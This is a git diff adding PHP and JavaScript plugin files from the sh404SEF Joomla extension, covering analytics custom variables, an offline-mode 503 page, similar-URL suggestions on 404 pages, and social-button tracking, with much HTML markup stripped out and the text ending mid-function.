plg_installer_sh404sef + Yannick Gaultier + 2014-07-01 + (c) Yannick Gaultier 2014 + http://www.gnu.org/copyleft/gpl.html GNU/GPL + yannick@weeblr.com + http://weeblr.com + 4.4.4.1791 + Handle sh404SEF subscribers updates + + sh404sef.php + index.html + + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/index.html new file mode 100644 index 00000000..2efb97f3 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/index.html @@ -0,0 +1 @@ + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefanalytics/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefanalytics/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefanalytics/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefanalytics/sh404sefanalytics.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefanalytics/sh404sefanalytics.php new file mode 100644 index 00000000..aa8fb6fe --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefanalytics/sh404sefanalytics.php @@ -0,0 +1,72 @@ +registerEvent('onShInsertAnalyticsSnippet', 'plgSh404sefAnalyticsCustomVars'); + +function plgSh404sefAnalyticsCustomVars(&$customVars, $sefConfig) +{ + + // add custom variable : page creation time + if ($sefConfig->analyticsEnableTimeCollection) + { + $profiler = JProfiler::getInstance('sh404sef_profiler'); + $profiler->mark(''); + $pageCreationTime = $profiler->getBuffer(); + + //extract Data + $pageCreationTime = str_replace(array('sh404sef_profiler', ''), '', $pageCreationTime[0]); + $tmp = explode(' ', trim($pageCreationTime)); // we may have memory report attached + $time = trim($tmp[0]); + + // classify exact time into predefined categories for encoding + $time = Sh404sefHelperAnalytics::classifyTime($time); + + // same for memory used + $memory = empty($tmp[1]) ? 0 : sh404sefHelperAnalytics::classifyMemory($profiler->getMemory() / (1024 * 1024)); + + // store results into incoming array + $customVars = is_null($customVars) ? array() : $customVars; + $customVars[SH404SEF_ANALYTICS_TIME_CUSTOM_VAR] = empty($customVars[SH404SEF_ANALYTICS_TIME_CUSTOM_VAR]) ? new stdClass() + : $customVars[SH404SEF_ANALYTICS_TIME_CUSTOM_VAR]; + $customVars[SH404SEF_ANALYTICS_TIME_CUSTOM_VAR]->name = 'Page creation time and ram'; + $customVars[SH404SEF_ANALYTICS_TIME_CUSTOM_VAR]->value = ($time << 4) + $memory; + + } + + // add custom variable : user logged in + if ($sefConfig->analyticsEnableUserCollection) + { + $user = clone(JFactory::getUser()); + $customVars = is_null($customVars) ? array() : $customVars; + $customVars[SH404SEF_ANALYTICS_USER_CUSTOM_VAR] = empty($customVars[SH404SEF_ANALYTICS_USER_CUSTOM_VAR]) ? new stdClass() + : $customVars[SH404SEF_ANALYTICS_USER_CUSTOM_VAR]; + $customVars[SH404SEF_ANALYTICS_USER_CUSTOM_VAR]->name = 'Logged-in user'; + if ($user->guest) + { + $userType = 'anonymous'; + } + else + { + $groups = Sh404sefHelperGeneral::getUserGroups(); + $userGroup = array_shift($user->groups); + $userType = $groups[$userGroup]; + } + $customVars[SH404SEF_ANALYTICS_USER_CUSTOM_VAR]->value = htmlentities($userType, ENT_QUOTES, 'UTF-8'); + } + + return true; + +} + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefanalytics/sh404sefanalytics.xml b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefanalytics/sh404sefanalytics.xml new file mode 100644 index 00000000..dc12bc50 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefanalytics/sh404sefanalytics.xml @@ -0,0 +1,17 @@ + + + sh404sef - Analytics plugin + Yannick Gaultier + 2014-07-01 + (c) Yannick Gaultier 2014 + http://www.gnu.org/copyleft/gpl.html GNU/GPL + yannick@weeblr.com + http://weeblr.com + 4.4.4.1791 + Create analytics custom tags + + + sh404sefanalytics.php + index.html + + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefofflinecode/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefofflinecode/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefofflinecode/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefofflinecode/sh404sef_offline_template.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefofflinecode/sh404sef_offline_template.php new file mode 100644 index 00000000..6fb49c89 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefofflinecode/sh404sef_offline_template.php @@ -0,0 +1,37 @@ + + + + + + + direction == 'rtl') : ?> + + + + + + +
    +

    + getCfg('sitename'); ?> +

    +

    + getCfg('offline_message'); ?> +

    +
    + + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefofflinecode/sh404sefofflinecode.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefofflinecode/sh404sefofflinecode.php new file mode 100644 index 00000000..a16162de --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefofflinecode/sh404sefofflinecode.php @@ -0,0 +1,119 @@ +isAdmin()) +{ + $app->registerEvent('onAfterRoute', 'plgSh404sefofflinecode'); +} + +/** + * Output a correct response code when site is offline + * to let know search engines that site data + * should not be discarded or discounted + */ +function plgSh404sefofflinecode() +{ + + $app = JFactory::getApplication(); + + // are we in the backend, or not offline ? + if (!defined('SH404SEF_IS_RUNNING') || $app->isAdmin() || !$app->getCfg('offline')) + { + return; + } + + // get plugin params + $plugin = JPluginHelper::getPlugin('sh404sefcore', 'sh404sefofflinecode'); + $pluginParams = new JRegistry; + $pluginParams->loadString($plugin->params); + + $disallowAdminAccess = $pluginParams->get('disallowAdminAccess', 0); + + if (!$disallowAdminAccess) + { + // admins are allowed, lets check if current user + // is an admin, or if user is trying to log in + $user = JFactory::getUser(); + $option = $app->input->getCmd('option'); + $task = $app->input->getCmd('task'); + if (!empty($user->id)) + { + $loggingIn = true; + } + else if ($option == 'com_users' && $task == 'user.login') + { + // Check for request forgeries + JRequest::checkToken() or jexit('Invalid Token'); + $loggingIn = true; + } + // provide bypass for Akeeba, to allow backup while in offline mode + // not as secure, but I surrender + else if ($option == 'com_akeeba') + { + $loggingIn = true; + } + else + { + $loggingIn = false; + } + + // if already logged inadmin, or admin logging in, let it go + if ($loggingIn) + { + return true; + } + } + + // need to render offline screen + if ($disallowAdminAccess) + { + // admins not allowed, use our own + // simplified template. Most likely being hacked so + // close doors as much as possible + $template = ''; + $file = 'sh404sef_offline_template.php'; + $directory = JPATH_ROOT . '/plugins/sh404sefcore'; + } + else + { + // admin can access, use Joomla! offline template, + // that includes a login form + $template = $app->getTemplate(); + $file = 'offline.php'; + $directory = JPATH_THEMES; + } + + $params = array('template' => $template, 'file' => $file, 'directory' => $directory); + + $document = JFactory::getDocument(); + $data = $document->render($app->getCfg('caching'), $params); + + // header : service unavailable + JResponse::setHeader('HTTP/1.0 503', true); + + // give it some time + $retryAfter = $pluginParams->get('retry_after_delay', 7400); + + // set header + Jresponse::setheader('Retry-After', gmdate('D, d M Y H:i:s', time() + $retryAfter) . ' GMT'); + + // echo document + JResponse::setBody($data); + echo JResponse::toString($app->getCfg('gzip')); + + // and terminate + $app->close(); + +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefofflinecode/sh404sefofflinecode.xml b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefofflinecode/sh404sefofflinecode.xml new file mode 100644 index 00000000..56e2a1e7 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefofflinecode/sh404sefofflinecode.xml @@ -0,0 +1,33 @@ + + + sh404sef - Offline code plugin + Yannick Gaultier + 2014-07-01 + (c) Yannick Gaultier 2014 + http://www.gnu.org/copyleft/gpl.html GNU/GPL + yannick@weeblr.com + http://weeblr.com + 4.4.4.1791 + Render Joomla's offline page with the appropriate http response code + + sh404sefofflinecode.php + sh404sef_offline_template.php + index.html + + + +
    + + + + + +
    +
    +
    +
    diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefsimilarurls/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefsimilarurls/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefsimilarurls/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefsimilarurls/sh404sefsimilarurls.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefsimilarurls/sh404sefsimilarurls.php new file mode 100644 index 00000000..7a3e4028 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefsimilarurls/sh404sefsimilarurls.php @@ -0,0 +1,374 @@ +isAdmin()) +{ + $app->registerEvent('onContentPrepare', 'plgSh404sefsimilarurls'); +} + +function plgSh404sefsimilarurls($context, &$rowContent, &$params, $page = 0) +{ + if (!defined('SH404SEF_IS_RUNNING')) + { + // only do something if sh404sef is up and running + return true; + } + + if ($context == 'com_finder.indexer') + { + return true; + } + + if (empty($rowContent->text)) + { + return true; + } + // a little hack on the side : optionnally display the requested url + + // first get current sef url + $shPageInfo = &Sh404sefFactory::getPageInfo(); + + // replace marker + $url = JURI::getInstance()->toString(); + $rowContent->text = str_replace('{%sh404SEF_404_URL%}', htmlspecialchars($url, ENT_COMPAT, 'UTF-8'), $rowContent->text); + + // now the similar urls + $marker = 'sh404sefSimilarUrls'; + + // quick check for our marker: + if (JString::strpos($rowContent->text, $marker) === false) + { + return true; + } + + // get plugin params + $plugin = JPluginHelper::getPlugin('sh404sefcore', 'sh404sefsimilarurls'); + + // init params from plugin + $pluginParams = new JRegistry; + $pluginParams->loadString($plugin->params); + + $matches = array(); + + // regexp to catch plugin requests + $regExp = "#{" . $marker . "}#Uus"; + + // search for our marker} + if (preg_match_all($regExp, $rowContent->text, $matches, PREG_SET_ORDER) > 0) + { + // we have at least one match, we can search for similar urls + $html = shGetSimilarUrls(JURI::getInstance()->getPath(), $pluginParams); + + // remove comment, so that nothing shows + if (empty($html)) + { + $rowContent->text = ShlSystem_Strings::pr('/{sh404sefSimilarUrlsCommentStart}.*{sh404sefSimilarUrlsCommentEnd}/iUus', '', + $rowContent->text); + } + else + { + // remove the comment markers themselves + $rowContent->text = str_replace('{sh404sefSimilarUrlsCommentStart}', '', $rowContent->text); + $rowContent->text = str_replace('{sh404sefSimilarUrlsCommentEnd}', '', $rowContent->text); + } + + // now replace instances of the marker by similar urls list + $rowContent->text = str_replace($matches[0], $html, $rowContent->text); + } + + return true; +} + +/** + * @params object parameters set by user for the plugin + * @return string a list of sef urls similar to that of the current page + */ +function shGetSimilarUrls($path, $params) +{ + // init result + $urls = ''; + + // current path + $path = JString::trim($path); + $path = JString::trim($path, '.'); + + // if empty, we may be on a non-sef urls + if (empty($path)) + { + return $urls; + } + + $urlList = shFindSimilarUrls($path, $params); + + $urls = shFormatSimilarUrls($urlList); + + return $urls; +} +/** + * @params object parameters set by user for the plugin + * @return string a list of sef urls similar to that of the current page + */ +function shFindSimilarUrls($path, $params) +{ + // init result + $urls = array(); + + // if empty, we may be on a non-sef urls + if (empty($path)) + { + return $urls; + } + + // actually do the search + + // minimum segment to use + $minLength = $params->get('min_segment_length', 3); + + // break down path into segments, and check them + $bits = explode('/', $path); + + // discard elements that are too short + // and prepare for db query + $segments = array(); + $originalSegments = array(); + + foreach ($bits as $bit) + { + // for soundex, we keep the whole url + if (JString::strlen($bit) >= $minLength) + { + $originalSegments[] = $bit; + } + + // try break down the request further, based on common replacement character values + $bit = str_replace('-', ' ', $bit); + $bit = str_replace('_', ' ', $bit); + $bit = str_replace('.', ' ', $bit); + + // now we can break down based on spaces + $subBits = explode(' ', $bit); + + // keep only the good ones + foreach ($subBits as $subBit) + { + if ((JString::strlen($subBit) >= $minLength) && JString::strtolower($subBit) != 'html' && JString::strtolower($subBit) != 'htm' + && JString::strtolower($subBit) != 'php') + { + $segments[] = $subBit; + } + } + } + + // call search function + $urls = shSearchSimilarUrls($segments, $originalSegments, $path, $params); + + // return whatever we found + return $urls; +} + +/** + * Search the sef url and aliases tables for + * urls similar to the current one + * + * @param $bits segment of the requested url, borken down to each individual words in the url + * @param $originalBits segment of the urls, broken down by only by slashes + * @param $limit + * @return unknown_type + */ +function shSearchSimilarUrls($bits, $originalBits, $searchedPath, $params) +{ + // init result + $urls = array(); + + // do we have data to work with ? + if (empty($bits)) + { + return $urls; + } + + // get params we need + // how many urls to display, max ? + $limit = $params->get('max_number_of_urls', 5); + + // include pdf ? + $includePdf = $params->get('include_pdf', 0); + + // include printable ? + $includePrint = $params->get('include_print', 0); + + // get db instance + $db = ShlDbHelper::getDb(); + + // search the redirection table for similar urls + $sql = 'select oldurl, newurl, id, dateadd from #__sh404sef_urls where newurl <> "" '; + + // virtuemart hack + $sql .= ' AND oldurl not like ' . $db->Quote('%vmchk%'); + + // additional conditions : never include feed results + $sql .= ' AND newurl not like ' . $db->Quote('%format=feed%'); + + // additional user-set conditions + if (!$includePdf) + { + $sql .= ' AND newurl not like ' . $db->Quote('%format=pdf%'); + } + if (!$includePrint) + { + $sql .= ' AND newurl not like ' . $db->Quote('%print=1%'); + } + + // apply exclusion list + $excludedWords = $params->get('excluded_words_sef', ''); + if (!empty($excludedWords)) + { + $words = explode("\n", $excludedWords); + foreach ($words as $word) + { + $word = trim($word); + if (!empty($word)) + { + $sql .= ' AND oldurl not like ' . $db->Quote('%' . $word . '%'); + } + } + } + + $excludedWords = $params->get('excluded_words_non_sef', ''); + if (!empty($excludedWords)) + { + $words = explode("\n", $excludedWords); + foreach ($words as $word) + { + $word = trim($word); + if (!empty($word)) + { + $sql .= ' AND newurl not like ' . $db->Quote('%' . $word . '%'); + } + } + } + + // search the redirection table for similar urls + $sql .= ' AND ( '; + + $sql .= ' soundex(oldurl) = soundex(' . $db->Quote(implode('/', $originalBits)) . ')'; + + $subSql = array(); + foreach ($bits as $bit) + { + $subSql[] = ' oldurl like ' . $db->Quote('%' . $bit . '%'); + } + $sql .= ' OR '; + $sql .= implode(' OR ', $subSql); + $sql .= ')'; + + // group and limit result set + $sql .= ' GROUP BY oldurl'; + $sql .= ' limit 500'; + + // perform query + $db->setQuery($sql); + $urlList = $db->loadObjectList(); + $urlList = empty($urlList) ? array() : $urlList; + + // rank them, trying to have the best one near the top of the list + $urlList = shRankSimilarUrlsSimilarText($urlList, $searchedPath); + + // only keep a limited number + $urlList = array_slice($urlList, 0, $limit); + + // now build an unordered list with the remaining solutions + reset($urlList); + + // return whatever we found + return $urlList; +} + +function shFormatSimilarUrls($urlList) +{ + $urls = ''; + if (!empty($urlList)) + { + foreach ($urlList as $url) + { + $urls .= '
  • ' . $url->oldurl . '
  • '; + } + $urls = '
      ' . $urls . '
    '; + } + + return $urls; +} + +/** + * Call back function for usort + * Compares distance between requested url lenght and + * candidate url length + * + * @param $a + * @param $b + * @return unknown_type + */ +function shSortByReverseDistance($a, $b) +{ + if ($a['distance'] == $b['distance']) + { + return 0; + } + return ($a['distance'] >= $b['distance']) ? -1 : 1; +} + +/** + * Apply a method to put the most appropriate urls + * at top of list + * + * @param array $urls an array of retrieved urls + * @return array same array, sorted to have most relevant url at offset 0, 1, etc + */ +function shRankSimilarUrlsSimilarText($urls, $searchedPath) +{ + if (empty($urls)) + { + return $urls; + } + + // sort by distance + // current path + $path = JString::trim($searchedPath); + $path = JString::trim($path, '.'); + + // create a temporary array indexed on distance + // between the length of the request and the current similar url + $tmp = array(); + foreach ($urls as $url) + { + $r = null; + $distance = similar_text($url->oldurl, $path, $r); + $t = array('distance' => $r, 'url' => $url); + $tmp[] = $t; + } + + // sort this array according to text similarity + usort($tmp, 'shSortByReverseDistance'); + + // recreate the array we want + $rankedUrls = array(); + foreach ($tmp as $u) + { + $rankedUrls[] = $u['url']; + } + + return $rankedUrls; +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefsimilarurls/sh404sefsimilarurls.xml b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefsimilarurls/sh404sefsimilarurls.xml new file mode 100644 index 00000000..1bc75c8f --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefsimilarurls/sh404sefsimilarurls.xml @@ -0,0 +1,47 @@ + + + sh404sef - Similar urls plugin + Yannick Gaultier + 2014-07-01 + (c) Yannick Gaultier 2014 + http://www.gnu.org/copyleft/gpl.html GNU/GPL + yannick@weeblr.com + http://weeblr.com + 4.4.4.1791 + Search for urls similar to that of the current page + + sh404sefsimilarurls.php + index.html + + + + +
    + + + + + + + + + + + + +
    +
    +
    +
    diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefsocial/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefsocial/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefsocial/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefsocial/sh404sefsocial.js b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefsocial/sh404sefsocial.js new file mode 100644 index 00000000..03184f60 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefsocial/sh404sefsocial.js @@ -0,0 +1,170 @@ +/** + * sh404SEF - SEO extension for Joomla! + * + * @author Yannick Gaultier + * @copyright (c) Yannick Gaultier 2014 + * @package sh404SEF + * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL + * @version 4.4.4.1791 + * @date 2014-07-01 + */ + +// get Google Analytics queue +var _gaq = _gaq || []; + +// our own tracker +var _sh404sefSocialTrack = _sh404sefSocialTrack || []; + +_sh404sefSocialTrack.setup = function() { + + FB.init({ + appId : _sh404sefSocialTrack.options.FBAppId ? _sh404sefSocialTrack.options.FBAppId : "154426421321384", + channelUrl : _sh404sefSocialTrack.options.FBChannelUrl ? _sh404sefSocialTrack.options.FBChannelUrl : "", + status : true, // check login status + cookie : true, // enable cookies to allow the server to access the session + oauth : true, // enable OAuth 2.0 + xfbml : true + // parse XFBML + }); + + if (_sh404sefSocialTrack.options.enableAnalytics) { + // compute tracker name + _sh404sefSocialTrack.trackerName = _sh404sefSocialTrack.options.trackerName ? _sh404sefSocialTrack.options.trackerName + : "sh404SEF_social_tracker"; + + // enable tracking, either sync. or async. + _sh404sefSocialTrack.setupFBTracking(); + _sh404sefSocialTrack.setupTweeterTracking(); + } +}; + +/* + * Facebook tracking : Call directly if SDK loaded synchroneously or assign to + * window.fbAsyncInit if using asynchronous loading + */ + +_sh404sefSocialTrack.setupFBTracking = function() { + + try { + if (FB && FB.Event && FB.Event.subscribe) { + FB.Event.subscribe('edge.create', function(targetUrl) { + // alert( 'tracking a FB like'); + _gaq.push([ '_trackEvent', _sh404sefSocialTrack.trackerName + '_facebook', 'like', targetUrl, 1, true ]); + // Google tracking + if (_sh404sefSocialTrack.options.enableGoogleTracking) { + _gaq.push([ '_trackSocial', 'facebook', 'like', targetUrl ]); + } + }); + FB.Event.subscribe('edge.remove', function(targetUrl) { + // alert( 'tracking a FB unlike'); + _gaq.push([ '_trackEvent', _sh404sefSocialTrack.trackerName + '_facebook', 'unlike', targetUrl, 1, true ]); + // Google tracking + if (_sh404sefSocialTrack.options.enableGoogleTracking) { + _gaq.push([ '_trackSocial', 'facebook', 'unlike', targetUrl ]); + } + }); + FB.Event.subscribe('message.send', function(targetUrl) { + // alert( 'tracking a FB send'); + _gaq.push([ '_trackEvent', _sh404sefSocialTrack.trackerName + '_facebook', 'send', targetUrl, 1, true ]); + // Google tracking + if (_sh404sefSocialTrack.options.enableGoogleTracking) { + _gaq.push([ '_trackSocial', 'facebook', 'send', targetUrl ]); + } + }); + } + } catch (e) { + } +}; + +// Tweeter tracking +_sh404sefSocialTrack.setupTweeterTracking = function() { + try { + if (twttr && twttr.events && twttr.events.bind) { + twttr.events.bind('tweet', function(event) { + if (event) { + var targetUrl; // Default value is undefined. + if (event.target && event.target.nodeName == 'IFRAME') { + targetUrl = _sh404sefSocialTrack.extractParamFromUri(event.target.src, 'url'); + } + // alert( 'tracking a tweet'); + _gaq.push([ '_trackEvent', _sh404sefSocialTrack.trackerName + '_tweeter', 'tweet', targetUrl, 1, true ]); + // Google tracking + if (_sh404sefSocialTrack.options.enableGoogleTracking) { + _gaq.push([ '_trackSocial', 'twitter', 'tweet', targetUrl ]); + } + } + }); + } + } catch (e) { + } +}; + +/* + * Pinterest tracking, through a callback + */ +_sh404sefSocialTrackPinterestTracking = function(msg, url) { + try { + if (msg == "pinned") { + // alert( 'Image pinned'); + var targetMedia = _sh404sefSocialTrack.extractParamFromUri(url, 'url') + ' (' + + _sh404sefSocialTrack.extractParamFromUri(url, 'media') + ')'; + _gaq.push([ '_trackEvent', _sh404sefSocialTrack.trackerName + '_pinterest', msg, targetMedia, 1, true ]); + } + } catch (e) { + } +}; + +/* + * G+ requires a callback function for each click + */ +_sh404sefSocialTrackGPlusTracking = function(data) { + try { + if (data.state == "on") { + // alert( 'tracking a plus one'); + _gaq.push([ '_trackEvent', _sh404sefSocialTrack.trackerName + '_gplus', data.state, data.href, 1, true ]); + } else if (data.state == "off") { + // alert('tracking an unplus one'); + _gaq.push([ '_trackEvent', _sh404sefSocialTrack.trackerName + '_gplus', data.state, data.href, 1, true ]); + } + } catch (e) { + } +}; + +// Google page click tracking +_sh404sefSocialTrack.GPageTracking = function(target, source) { + try { + // alert( 'tracking GPage, page='+target+' from '+source); + _gaq.push([ '_trackEvent', _sh404sefSocialTrack.trackerName + '_gplus_page', target, source, 1, true ]); + } catch (e) { + } +}; + +/** + * Extracts a query parameter value from a URI. (c) Google - 2011 + * + * @param {string} + * uri The URI from which to extract the parameter. + * @param {string} + * paramName The name of the query paramater to extract. + * @return {string} The un-encoded value of the query paramater. underfined if + * there is no URI parameter. + * @private + */ +_sh404sefSocialTrack.extractParamFromUri = function(uri, paramName) { + if (!uri || !uri.indexOf('#')) { + return; + } + var uri = uri.indexOf('#') > 0 ? uri.split('#')[1] : uri; // Remove anchor. + + // Find url param. + paramName += '='; + uri = uri.split('?'); + uri = uri[1] ? uri[1] : uri[0]; + var params = uri.split('&'); + for ( var i = 0, param; param = params[i]; ++i) { + if (param.indexOf(paramName) === 0) { + return unescape(decodeURI(param.split('=')[1])); + } + } + return; +}; diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefsocial/sh404sefsocial.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefsocial/sh404sefsocial.php new file mode 100644 index 00000000..9d28c40c --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/sh404sefcore/sh404sefsocial/sh404sefsocial.php @@ -0,0 +1,646 @@ +_params = new JRegistry; + $this->_params->loadString($plugin->params); + // some networks use underscore in language tags + $this->_underscoredLanguageTag = str_replace('-', '_', JFactory::getLanguage()->getTag()); + $this->_shortLanguageCode = explode('_', $this->_underscoredLanguageTag); + $this->_shortLanguageCode = empty($this->_shortLanguageCode) ? 'en' : $this->_shortLanguageCode[0]; + $this->_linkedinScriptLoaded = false; + } + + /** + * Insert appropriate script links into document + */ + public function onSh404sefInsertSocialButtons(&$page, $sefConfig) + { + $app = JFactory::getApplication(); + + // are we in the backend - that would be a mistake + if (!defined('SH404SEF_IS_RUNNING') || $app->isAdmin()) + { + return; + } + + // don't display on errors + $pageInfo = Sh404sefFactory::getPageInfo(); + if (!empty($pageInfo->httpStatus) && $pageInfo->httpStatus == 404) + { + return; + } + + // regexp to catch plugin requests + $regExp = '#{sh404sef_social_buttons(.*)}#Uus'; + + // search for our marker} + if (preg_match_all($regExp, $page, $matches, PREG_SET_ORDER) > 0) + { + // process matches + foreach ($matches as $id => $match) + { + $url = ''; + $imageSrc = ''; + $imageDesc = ''; + // extract target URL + if (!empty($match[1])) + { + //normally, there is no quotes around attributes + // but a description will probably have spaces, so we + // now try to get attributes from both syntax + jimport('joomla.utilities.utility'); + $attributes = JUtility::parseAttributes($match[1]); + $url = empty($attributes['url']) ? '' : $attributes['url']; + $imageSrc = empty($attributes['img']) ? '' : $attributes['img']; + $imageDesc = empty($attributes['desc']) ? '' : $attributes['desc']; + $type = empty($attributes['type']) ? '' : $attributes['type']; + + // now process usual tags + $raw = explode(' ', $match[1]); + $attributes = array(); + $enabledButtons = array(); + foreach ($raw as $attribute) + { + $attribute = JString::trim($attribute); + if (strpos($attribute, '=') === false) + { + continue; + } + $bits = explode('=', $attribute); + if (empty($bits[1])) + { + continue; + } + switch ($bits[0]) + { + case 'url': + if (empty($url)) + { + $base = JURI::base(true); + if (substr($bits[1], 0, 10) == 'index.php?') + { + $url = JURI::getInstance()->toString(array('scheme', 'host', 'port')) . JRoute::_($bits[1]); + } + else if (substr($bits[1], 0, JString::strlen($base)) == $base) + { + $url = JURI::getInstance()->toString(array('scheme', 'host', 'port')) . $bits[1]; + } + else if (substr($bits[1], 0, 1) == '/') + { + $url = JString::rtrim(JURI::base(), '/') . $bits[1]; + } + else + { + $url = $bits[1]; + } + } + break; + case 'type': + $newType = trim(strtolower($bits[1])); + if (!in_array($newType, $enabledButtons)) + { + $enabledButtons[] = $newType; + } + break; + case 'img': + $imageSrc = empty($imageSrc) ? strtolower($bits[1]) : $imageSrc; + break; + } + } + + if (!empty($enabledButtons)) + { + $this->_enabledButtons = $enabledButtons; + } + } + // get buttons html + $buttons = $this->_sh404sefGetSocialButtons($sefConfig, $url, $context = '', $content = null, $imageSrc, $imageDesc, $isTag = true); + $buttons = str_replace('\'', '\\\'', $buttons); + + // replace in document + $page = str_replace($match[0], $buttons, $page); + } + } + + // insert head links as needed + $this->_insertSocialLinks($page, $sefConfig); + + } + + public function onContentBeforeDisplay($context, &$row, &$params, $page = 0) + { + $app = JFactory::getApplication(); + + // are we in the backend - that would be a mistake + if (!defined('SH404SEF_IS_RUNNING') || $app->isAdmin()) + { + return; + } + + // don't display on errors + $pageInfo = Sh404sefFactory::getPageInfo(); + if (!empty($pageInfo->httpStatus) && $pageInfo->httpStatus == 404) + { + return ''; + } + + if ($this->_params->get('buttonsContentLocation', 'onlyTags') == 'before') + { + $buttons = $this->_sh404sefGetSocialButtons(Sh404sefFactory::getConfig(), $url = '', $context, $row); + } + else + { + $buttons = ''; + } + return $buttons; + + } + + public function onContentAfterDisplay($context, &$row, &$params, $page = 0) + { + if ($this->_params->get('buttonsContentLocation', 'onlyTags') == 'after') + { + $buttons = $this->_sh404sefGetSocialButtons(Sh404sefFactory::getConfig(), $url = '', $context, $row); + } + else + { + $buttons = ''; + } + return $buttons; + + } + + public function onSh404sefInsertFBJavascriptSDK(&$page, $sefConfig) + { + static $_inserted = false; + + if ($sefConfig->shMetaManagementActivated && !$_inserted + && ($this->_params->get('enableFbLike', true) || $this->_params->get('enableFbSend', true))) + { + $_inserted = true; + + // append Facebook SDK + $socialSnippet = ShlMvcLayout_Helper::render('com_sh404sef.social.fb_sdk', array('languageTag' => $this->_underscoredLanguageTag)); + + // use page rewrite utility function to insert as needed + $page = shPregInsertCustomTagInBuffer($page, '<\s*body[^>]*>', 'after', $socialSnippet, $firstOnly = 'first'); + } + } + + private function _sh404sefGetSocialButtons($sefConfig, $url = '', $context = '', $content = null, $imageSrc = '', $imageDesc = '', $isTag = false) + { + $url = $this->_computeUrl($url, $sefConfig, $context, $content, $isTag); + if (empty($url)) + { + return $url; + } + + // JLayout renderers data array + $displayData = array(); + $displayData['buttons'] = array(); + + // Tweet + if ($this->_params->get('enableTweet', true) && in_array('twitter', $this->_enabledButtons)) + { + $displayData['buttons']['twitter'] = array('viaAccount' => $this->_params->get('viaAccount', ''), + 'tweetLayout' => $this->_params->get('tweetLayout', 'none'), 'url' => $url, 'languageTag' => $this->_shortLanguageCode); + } + + // plus One + if ($this->_params->get('enablePlusOne', true) && in_array('googleplusone', $this->_enabledButtons)) + { + $displayData['buttons']['googleplusone'] = array('plusOneAnnotation' => $this->_params->get('plusOneAnnotation', 'none'), + 'plusOneSize' => $this->_params->get('plusOneSize', ''), 'url' => $url); + } + + // Google plus page badge + $page = JString::trim($this->_params->get('googlePlusPage', ''), '/'); + if ($this->_params->get('enableGooglePlusPage', true) && in_array('googlepluspage', $this->_enabledButtons) && !empty($page)) + { + $displayData['buttons']['googlepluspage'] = array(); + $displayData['buttons']['googlepluspage']['page'] = $page; + $displayData['buttons']['googlepluspage']['url'] = $url; + 